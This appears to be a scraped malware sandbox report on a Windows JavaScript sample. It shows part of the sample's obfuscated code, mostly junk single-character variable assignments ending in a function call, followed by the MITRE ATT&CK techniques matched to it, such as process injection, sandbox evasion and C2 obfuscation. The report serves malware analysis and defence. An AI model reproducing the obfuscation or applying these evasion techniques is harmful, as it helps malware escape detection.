663	ltoew = "A";
664	ltoew = "J";
665	ltoew = "o";
666	ltoew = "U";
667	ltoew = "v";
668	ltoew = "C";
669	ltoew = "L";
670	ltoew = "e";
671	ltoew = "L";
672	ltoew = "j";
673	ltoew = "q";
674	ltoew = "C";
675	ltoew = "Q";
676	ltoew = "B";
677	ltoew = "K";
678	ltoew = "Z";
679	ltoew = "N";
680	ltoew = "Q";
681	ltoew = "G";
682	ltoew = "r";
683	kmeyqzstq = "r";
684	kmeyqzstq = "N";
685	kmeyqzstq = "X";
686	kmeyqzstq = "W";
687	kmeyqzstq = "A";
688	kmeyqzstq = "h";
689	kmeyqzstq = "w";
690	kmeyqzstq = "s";
691	kmeyqzstq = "J";
692	kmeyqzstq = "d";
693	kmeyqzstq = "H";
694	kmeyqzstq = "B";
695	kmeyqzstq = "I";
696	kmeyqzstq = "c";
697	kmeyqzstq = "j";
698	kmeyqzstq = "Z";
699	kmeyqzstq = "e";
700	kmeyqzstq = "z";
701	kmeyqzstq = "x";
702	kmeyqzstq = "G";
703	kmeyqzstq = "X";
704	kmeyqzstq = "c";
705	kmeyqzstq = "M";
706	kmeyqzstq = "N";
707	kmeyqzstq = "Q";
708	kmeyqzstq = "N";
709	kmeyqzstq = "y";
710	kmeyqzstq = "G";
711	kmeyqzstq = "b";
712	kmeyqzstq = "x";
713	kmeyqzstq = "H";
714	kmeyqzstq = "f";
715	kmeyqzstq = "S";
716	kmeyqzstq = "j";
717	kmeyqzstq = "U";
718	kmeyqzstq = "l";
719	kmeyqzstq = "P";
720	kmeyqzstq = "p";
721	kmeyqzstq = "x";
722	kmeyqzstq = "H";
723	kmeyqzstq = "P";
724	kmeyqzstq = "I";
725	kmeyqzstq = "n";
726	kmeyqzstq = "u";
727	kmeyqzstq = "P";
728	lqimnvxa = "K";
729	lqimnvxa = "n";
730	lqimnvxa = "R";
731	lqimnvxa = "i";
732	lqimnvxa = "t";
733	lqimnvxa = "S";
734	lqimnvxa = "b";
735	lqimnvxa = "u";
736	lqimnvxa = "P";
737	lqimnvxa = "t";
738	lqimnvxa = "M";
739	lqimnvxa = "M";
740	lqimnvxa = "N";
741	izcmc = "Q";
742	izcmc = "j";
743	izcmc = "o";
744	izcmc = "p";
745	izcmc = "c";
746	izcmc = "e";
747	izcmc = "k";
748	izcmc = "Y";
749	izcmc = "h";
750	izcmc = "O";
751	izcmc = "k";
752	izcmc = "O";
753	izcmc = "R";
754	izcmc = "o";
755	izcmc = "w";
756	izcmc = "l";
757	izcmc = "U";
758	izcmc = "O";
759	izcmc = "u";
760	izcmc = "c";
761	izcmc = "F";
762	izcmc = "X";
763	izcmc = "j";
764	izcmc = "g";
765	izcmc = "H";
766	izcmc = "Y";
767	izcmc = "t";
768	sevdm = "m";
769	sevdm = "Y";
770	sevdm = "R";
771	sevdm = "a";
772	sevdm = "n";
773	sevdm = "C";
774	sevdm = "l";
775	sevdm = "U";
776	sevdm = "N";
777	sevdm = "W";
778	sevdm = "a";
779	sevdm = "v";
780	sevdm = "L";
781	sevdm = "W";
782	sevdm = "b";
783	sevdm = "a";
784	sevdm = "b";
785	sevdm = "E";
786	sevdm = "s";
787	sevdm = "S";
788	sevdm = "k";
789	sevdm = "L";
790	sevdm = "g";
791	sevdm = "m";
792	sevdm = "m";
793	sevdm = "m";
794	sevdm = "n";
795	sevdm = "j";
796	sevdm = "J";
797	sevdm = "K";
798	sevdm = "B";
799	sevdm = "y";
800	sevdm = "e";
801	sevdm = "H";
802	sevdm = "5";
803	wksuvfg = "J";
804	wksuvfg = "q";
805	wksuvfg = "a";
806	wksuvfg = "P";
807	wksuvfg = "E";
808	wksuvfg = "V";
809	wksuvfg = "s";
810	ooikidjj = "\\";
811	eofqmsom = "w";
812	eofqmsom = "L";
813	eofqmsom = "k";
814	eofqmsom = "s";
815	eofqmsom = "k";
816	eofqmsom = "y";
817	eofqmsom = "t";
818	eofqmsom = "e";
819	eofqmsom = "/";
820	cddwgl = "x";
821	cddwgl = "y";
822	cddwgl = "B";
823	cddwgl = "X";
824	cddwgl = "R";
825	cddwgl = "H";
826	cddwgl = "C";
827	cddwgl = "T";
828	cddwgl = "g";
829	cddwgl = "a";
830	cddwgl = "A";
831	cddwgl = "q";
832	cddwgl = "p";
833	cddwgl = "T";
834	cddwgl = "X";
835	cddwgl = "C";
836	cddwgl = "S";
837	cddwgl = "H";
838	cddwgl = "K";
839	cddwgl = "W";
840	cddwgl = "V";
841	cddwgl = "l";
842	cddwgl = "X";
843	cddwgl = "Q";
844	cddwgl = "b";
845	cddwgl = "a";
846	cddwgl = "a";
847	cddwgl = "C";
848	cddwgl = "f";
849	cddwgl = "a";
850	cddwgl = "G";
851	cddwgl = "v";
852	cddwgl = "G";
853	cddwgl = "P";
854	cddwgl = "G";
855	cddwgl = "p";
856	cddwgl = "r";
857	cddwgl = "Z";
858	cddwgl = "M";
859	cddwgl = "R";
860	cddwgl = "k";
861	cddwgl = "G";
862	cddwgl = "v";
863	cddwgl = "\"";
864	yraavwsb = "e";
865	yraavwsb = "S";
866	yraavwsb = "k";
867	yraavwsb = "m";
868	yraavwsb = "W";
869	yraavwsb = "b";
870	yraavwsb = "O";
871	yraavwsb = "h";
872	yraavwsb = "o";
873	yraavwsb = "L";
874	yraavwsb = "I";
875	yraavwsb = "r";
876	yraavwsb = "w";
877	yraavwsb = "H";
878	yraavwsb = "I";
879	yraavwsb = "z";
880	yraavwsb = "k";
881	yraavwsb = "g";
882	yraavwsb = "F";
883	yraavwsb = "s";
884	yraavwsb = "c";
885	yraavwsb = "L";
886	yraavwsb = "p";
887	yraavwsb = "u";
888	yraavwsb = "I";
889	yraavwsb = "b";
890	yraavwsb = "E";
891	yraavwsb = "T";
892	yraavwsb = "u";
893	yraavwsb = "J";
894	yraavwsb = "F";
895	yraavwsb = "a";
896	yraavwsb = "h";
897	dbvwwgpoz = "m";
898	dbvwwgpoz = "m";
899	dbvwwgpoz = "Q";
900	dbvwwgpoz = "H";
901	dbvwwgpoz = "d";
902	dbvwwgpoz = "I";
903	dbvwwgpoz = "F";
904	dbvwwgpoz = "j";
905	dbvwwgpoz = "h";
906	dbvwwgpoz = "C";
907	dbvwwgpoz = "X";
908	dbvwwgpoz = "B";
909	dbvwwgpoz = "C";
910	dbvwwgpoz = "H";
911	dbvwwgpoz = "W";
912	dbvwwgpoz = "t";
913	dbvwwgpoz = "w";
914	dbvwwgpoz = "x";
915	dbvwwgpoz = "A";
916	dbvwwgpoz = "w";
917	dbvwwgpoz = "W";
918	dbvwwgpoz = "z";
919	dbvwwgpoz = "O";
920	dbvwwgpoz = "r";
921	dbvwwgpoz = "S";
922	dbvwwgpoz = "E";
923	dbvwwgpoz = "n";
924	iedxdgr = "A";
925	iedxdgr = "z";
926	iedxdgr = "F";
927	iedxdgr = "l";
928	iedxdgr = "s";
929	iedxdgr = "O";
930	iedxdgr = "j";
931	iedxdgr = "y";
932	iedxdgr = "p";
933	iedxdgr = "Z";
934	iedxdgr = "V";
935	iedxdgr = "e";
936	iedxdgr = "H";
937	iedxdgr = "m";
938	iedxdgr = "w";
939	iedxdgr = "Q";
940	iedxdgr = "l";
941	iedxdgr = "V";
942	iedxdgr = "A";
943	iedxdgr = "k";
944	iedxdgr = "w";
945	iedxdgr = "O";
946	iedxdgr = "O";
947	iedxdgr = "q";
948	iedxdgr = "g";
949	iedxdgr = "j";
950	iedxdgr = "x";
951	iedxdgr = "C";
952	iedxdgr = "t";
953	iedxdgr = "U";
954	iedxdgr = "T";
955	iedxdgr = "T";
956	iedxdgr = "Z";
957	iedxdgr = "s";
958	iedxdgr = "c";
959	iedxdgr = "a";
960	iedxdgr = "e";
961	iedxdgr = "I";
962	iedxdgr = "n";
963	iedxdgr = "G";
964	iedxdgr = "p";
965	iedxdgr = "r";
966	iedxdgr = "2";
967	qusnnzwow = "u";
968	qusnnzwow = "I";
969	qusnnzwow = "B";
970	qusnnzwow = "Y";
971	qusnnzwow = "O";
972	qusnnzwow = "E";
973	qusnnzwow = "g";
974	qusnnzwow = "Z";
975	qusnnzwow = "l";
976	tuqmmyid = "T";
977	tuqmmyid = "p";
978	tuqmmyid = "s";
979	tuqmmyid = "u";
980	tuqmmyid = "R";
981	tuqmmyid = "H";
982	tuqmmyid = "d";
983	tuqmmyid = "s";
984	tuqmmyid = "d";
985	tuqmmyid = "h";
986	tuqmmyid = "x";
987	tuqmmyid = "K";
988	tuqmmyid = "F";
989	tuqmmyid = "I";
990	tuqmmyid = "q";
991	tuqmmyid = "k";
992	tuqmmyid = "u";
993	tuqmmyid = "i";
994	tuqmmyid = "j";
995	tuqmmyid = "W";
996	tuqmmyid = "L";
997	tuqmmyid = "z";
998	tuqmmyid = "v";
999	tuqmmyid = "A";
1000	tuqmmyid = "P";
1001	tuqmmyid = "N";
1002	tuqmmyid = "Y";
1003	tuqmmyid = "m";
1004	tuqmmyid = "B";
1005	tuqmmyid = "m";
1006	tuqmmyid = "w";
1007	tuqmmyid = "C";
1008	tuqmmyid = "t";
1009	tuqmmyid = "h";
1010	tuqmmyid = " ";
1011	ruujuehf = "U";
1012	ruujuehf = "f";
1013	ruujuehf = "O";
1014	ruujuehf = "S";
1015	ruujuehf = "S";
1016	ruujuehf = "H";
1017	ruujuehf = "p";
1018	ruujuehf = "e";
1019	ruujuehf = "t";
1020	ruujuehf = "n";
1021	ruujuehf = "c";
1022	ruujuehf = "k";
1023	cvohc = "x";
1024	cvohc = "i";
1025	cvohc = "G";
1026	cvohc = "R";
1027	cvohc = "u";
1028	cvohc = "o";
1029	cvohc = "D";
1030	cvohc = "T";
1031	cvohc = "d";
1032	cvohc = "F";
1033	cvohc = "X";
1034	cvohc = "Y";
1035	cvohc = "h";
1036	cvohc = "e";
1037	cvohc = "L";
1038	cvohc = "p";
1039	cvohc = "r";
1040	cvohc = "M";
1041	cvohc = "s";
1042	cvohc = "e";
1043	cvohc = "M";
1044	cvohc = "D";
1045	cvohc = "s";
1046	cvohc = "o";
1047	cvohc = "B";
1048	cvohc = "E";
1049	cvohc = "M";
1050	cvohc = "b";
1051	cvohc = "g";
1052	cvohc = "K";
1053	cvohc = "%";
1054	apupctgf = "C";
1055	apupctgf = "O";
1056	apupctgf = "C";
1057	apupctgf = "W";
1058	apupctgf = "Q";
1059	apupctgf = "M";
1060	apupctgf = "J";
1061	apupctgf = "C";
1062	apupctgf = "i";
1063	apupctgf = "e";
1064	jfaasjvb = "L";
1065	jfaasjvb = "j";
1066	ebrha = "e";
1067	ebrha = "n";
1068	ebrha = "A";
1069	ebrha = "v";
1070	ebrha = "P";
1071	ebrha = "w";
1072	ebrha = "S";
1073	ebrha = "y";
1074	ebrha = "n";
1075	ebrha = "Y";
1076	ebrha = "U";
1077	ebrha = "C";
1078	ebrha = "A";
1079	ebrha = "U";
1080	ebrha = "&";
1081	tiuxgjfwm = "e";
1082	tiuxgjfwm = "T";
1083	tiuxgjfwm = "X";
1084	tiuxgjfwm = "h";
1085	tiuxgjfwm = "H";
1086	tiuxgjfwm = "K";
1087	tiuxgjfwm = "i";
1088	tiuxgjfwm = "F";
1089	tiuxgjfwm = "v";
1090	tiuxgjfwm = "h";
1091	tiuxgjfwm = "B";
1092	tiuxgjfwm = "C";
1093	tiuxgjfwm = "q";
1094	tiuxgjfwm = "g";
1095	tiuxgjfwm = "h";
1096	tiuxgjfwm = "m";
1097	tiuxgjfwm = "Z";
1098	tiuxgjfwm = "q";
1099	tiuxgjfwm = "f";
1100	tiuxgjfwm = "f";
1101	tiuxgjfwm = "s";
1102	tiuxgjfwm = "a";
1103	tiuxgjfwm = "N";
1104	tiuxgjfwm = "P";
1105	tiuxgjfwm = "n";
1106	tiuxgjfwm = "u";
1107	tiuxgjfwm = "i";
1108	tiuxgjfwm = "l";
1109	tiuxgjfwm = "F";
1110	tiuxgjfwm = "U";
1111	tiuxgjfwm = "I";
1112	yiamxn = "s";
1113	yiamxn = "f";
1114	yiamxn = "T";
1115	yiamxn = "W";
1116	yiamxn = "i";
1117	yiamxn = "O";
1118	yiamxn = "e";
1119	yiamxn = "p";
1120	yiamxn = "Q";
1121	yiamxn = "W";
1122	yiamxn = "Z";
1123	yiamxn = "S";
1124	yiamxn = "A";
1125	yiamxn = "h";
1126	yiamxn = "v";
1127	yiamxn = "v";
1128	yiamxn = "h";
1129	yiamxn = "a";
1130	yiamxn = "u";
1131	yiamxn = "c";
1132	yiamxn = "F";
1133	yiamxn = "i";
1134	yiamxn = "U";
1135	asokaqk = "f";
1136	asokaqk = "F";
1137	asokaqk = "m";
1138	asokaqk = "I";
1139	asokaqk = "z";
1140	asokaqk = "M";
1141	asokaqk = "n";
1142	asokaqk = "j";
1143	asokaqk = "m";
1144	asokaqk = "V";
1145	asokaqk = "K";
1146	asokaqk = "Q";
1147	asokaqk = "o";
1148	asokaqk = "M";
1149	asokaqk = "J";
1150	asokaqk = "s";
1151	asokaqk = "w";
1152	asokaqk = "z";
1153	asokaqk = "y";
1154	asokaqk = "b";
1155	asokaqk = "P";
1156	asokaqk = "F";
1157	asokaqk = "y";
1158	asokaqk = "i";
1159	asokaqk = "t";
1160	asokaqk = "Z";
1161	asokaqk = "Y";
1162	asokaqk = "q";
1163	asokaqk = "E";
1164	asokaqk = "B";
1165	asokaqk = "N";
1166	asokaqk = "R";
1167	uxjhclqs = "c";
1168	uxjhclqs = "m";
1169	uxjhclqs = "h";
1170	uxjhclqs = "w";
1171	uxjhclqs = "t";
1172	uxjhclqs = "k";
1173	uxjhclqs = "I";
1174	uxjhclqs = "a";
1175	uxjhclqs = "W";
1176	uxjhclqs = "E";
1177	uxjhclqs = "q";
1178	uxjhclqs = "c";
1179	uxjhclqs = "X";
1180	uxjhclqs = "P";
1181	uxjhclqs = "y";
1182	uxjhclqs = "O";
1183	uxjhclqs = "E";
1184	uxjhclqs = "x";
1185	uxjhclqs = "Q";
1186	uxjhclqs = "G";
1187	uxjhclqs = "g";
1188	uxjhclqs = "X";
1189	uxjhclqs = "h";
1190	uxjhclqs = "Z";
1191	uxjhclqs = "j";
1192	uxjhclqs = "a";
1193	uxjhclqs = "W";
1194	uxjhclqs = "t";
1195	uxjhclqs = "G";
1196	uxjhclqs = "E";
1197	uxjhclqs = "g";
1198	gsmkxs = "A";
1199	gsmkxs = "I";
1200	gsmkxs = "S";
1201	gsmkxs = "s";
1202	gsmkxs = "A";
1203	gsmkxs = "E";
1204	gsmkxs = "g";
1205	gsmkxs = "N";
1206	gsmkxs = "S";
1207	gsmkxs = "o";
1208	gsmkxs = "G";
1209	gsmkxs = "W";
1210	ilxed = "g";
1211	ilxed = "N";
1212	ilxed = "c";
1213	ilxed = "u";
1214	ilxed = "s";
1215	ilxed = "k";
1216	ilxed = "H";
1217	ilxed = "s";
1218	ilxed = "v";
1219	ilxed = "B";
1220	ilxed = "w";
1221	ilxed = "K";
1222	ilxed = "A";
1223	ilxed = "z";
1224	ilxed = "U";
1225	ilxed = "h";
1226	ilxed = "c";
1227	ilxed = "P";
1228	ilxed = "k";
1229	ilxed = "T";
1230	ilxed = "y";
1231	ilxed = "w";
1232	ilxed = "h";
1233	ilxed = ".";
1234	acacqnr = "r";
1235	acacqnr = "R";
1236	acacqnr = "R";
1237	acacqnr = "j";
1238	acacqnr = "Z";
1239	acacqnr = "o";
1240	acacqnr = "C";
1241	acacqnr = "l";
1242	acacqnr = "l";
1243	acacqnr = "M";
1244	acacqnr = "h";
1245	acacqnr = "t";
1246	acacqnr = "Q";
1247	acacqnr = "X";
1248	acacqnr = "O";
1249	acacqnr = "m";
1250	acacqnr = "j";
1251	acacqnr = "y";
1252	acacqnr = "d";
1253	acacqnr = "Z";
1254	acacqnr = "x";
1255	acacqnr = "F";
1256	acacqnr = "z";
1257	acacqnr = "E";
1258	acacqnr = "A";
1259	acacqnr = "F";
1260	acacqnr = "V";
1261	acacqnr = "n";
1262	acacqnr = "W";
1263	acacqnr = "W";
1264	acacqnr = "z";
1265	acacqnr = "d";
1266	acacqnr = "H";
1267	acacqnr = "X";
1268	acacqnr = "Y";
1269	acacqnr = "t";
1270	acacqnr = "e";
1271	acacqnr = "p";
1272	qrjifrp = "e";
1273	qrjifrp = "i";
1274	qrjifrp = "v";
1275	qrjifrp = "S";
1276	qrjifrp = "h";
1277	qrjifrp = "y";
1278	qrjifrp = "n";
1279	qrjifrp = "J";
1280	qrjifrp = "L";
1281	qrjifrp = "o";
1282	qrjifrp = "i";
1283	qrjifrp = "x";
1284	qrjifrp = ":";
1285	sfffakd = "y";
1286	sfffakd = "B";
1287	sfffakd = "m";
1288	sfffakd = "U";
1289	sfffakd = "F";
1290	sfffakd = "s";
1291	sfffakd = "I";
1292	sfffakd = "j";
1293	sfffakd = "B";
1294	sfffakd = "B";
1295	sfffakd = "e";
1296	sfffakd = "v";
1297	sfffakd = "n";
1298	sfffakd = "h";
1299	sfffakd = "Y";
1300	sfffakd = "V";
1301	sfffakd = "j";
1302	sfffakd = "o";
1303	sfffakd = "T";
1304	sfffakd = "B";
1305	sfffakd = "u";
1306	sfffakd = "M";
1307	sfffakd = "t";
1308	sfffakd = "i";
1309	sfffakd = "S";
1310	sfffakd = "e";
1311	sfffakd = "E";
1312	sfffakd = "q";
1313	sfffakd = "j";
1314	sfffakd = "B";
1315	sfffakd = "k";
1316	sfffakd = "F";
1317	sfffakd = "a";
1318	sfffakd = "d";
1319	sfffakd = "A";
1320	sfffakd = "R";
1321	sfffakd = "i";
1322	sfffakd = "O";
1323	sfffakd = "m";
1324	sfffakd = "k";
1325	sfffakd = "M";
1326	sfffakd = "S";
1327	sfffakd = "@";
1328	sgqcchf = "B";
1329	sgqcchf = "O";
1330	sgqcchf = "I";
1331	sgqcchf = "s";
1332	sgqcchf = "V";
1333	sgqcchf = "R";
1334	sgqcchf = "m";
1335	sgqcchf = "U";
1336	sgqcchf = "K";
1337	sgqcchf = "i";
1338	sgqcchf = "c";
1339	sgqcchf = "A";
1340	sgqcchf = "b";
1341	sgqcchf = "B";
1342	sgqcchf = "K";
1343	sgqcchf = "P";
1344	sgqcchf = "Z";
1345	sgqcchf = "a";
1346	sgqcchf = "e";
1347	sgqcchf = "a";
1348	sgqcchf = "X";
1349	sgqcchf = "v";
1350	sgqcchf = "x";
1351	sgqcchf = "c";
1352	sgqcchf = "q";
1353	sgqcchf = "x";
1354	sgqcchf = "R";
1355	sgqcchf = "o";
1356	sgqcchf = "C";
1357	sgqcchf = "V";
1358	sgqcchf = "K";
1359	sgqcchf = "o";
1360	sgqcchf = "r";
1361	sgqcchf = "L";
1362	sgqcchf = "M";
1363	sgqcchf = "g";
1364	sgqcchf = "L";
1365	sgqcchf = "c";
1366	sgqcchf = "q";
1367	sgqcchf = "v";
1368	sgqcchf = "x";
1369	sgqcchf = "S";
1370	sgqcchf = "V";
1371	sgqcchf = "y";
1372	sgqcchf = "Q";
1373	drhtewvck = "L";
1374	drhtewvck = "Z";
1375	drhtewvck = "B";
1376	drhtewvck = "c";
1377	drhtewvck = "b";
1378	drhtewvck = "I";
1379	drhtewvck = "V";
1380	drhtewvck = "Y";
1381	drhtewvck = "D";
1382	drhtewvck = "J";
1383	drhtewvck = "N";
1384	drhtewvck = "d";
1385	drhtewvck = "u";
1386	drhtewvck = "D";
1387	drhtewvck = "X";
1388	drhtewvck = "v";
1389	drhtewvck = "p";
1390	drhtewvck = "r";
1391	drhtewvck = "j";
1392	drhtewvck = "G";
1393	drhtewvck = "c";
1394	drhtewvck = "a";
1395	drhtewvck = "z";
1396	drhtewvck = "e";
1397	drhtewvck = "i";
1398	rncfshw ( );	rncfshw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16981299741734811290.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

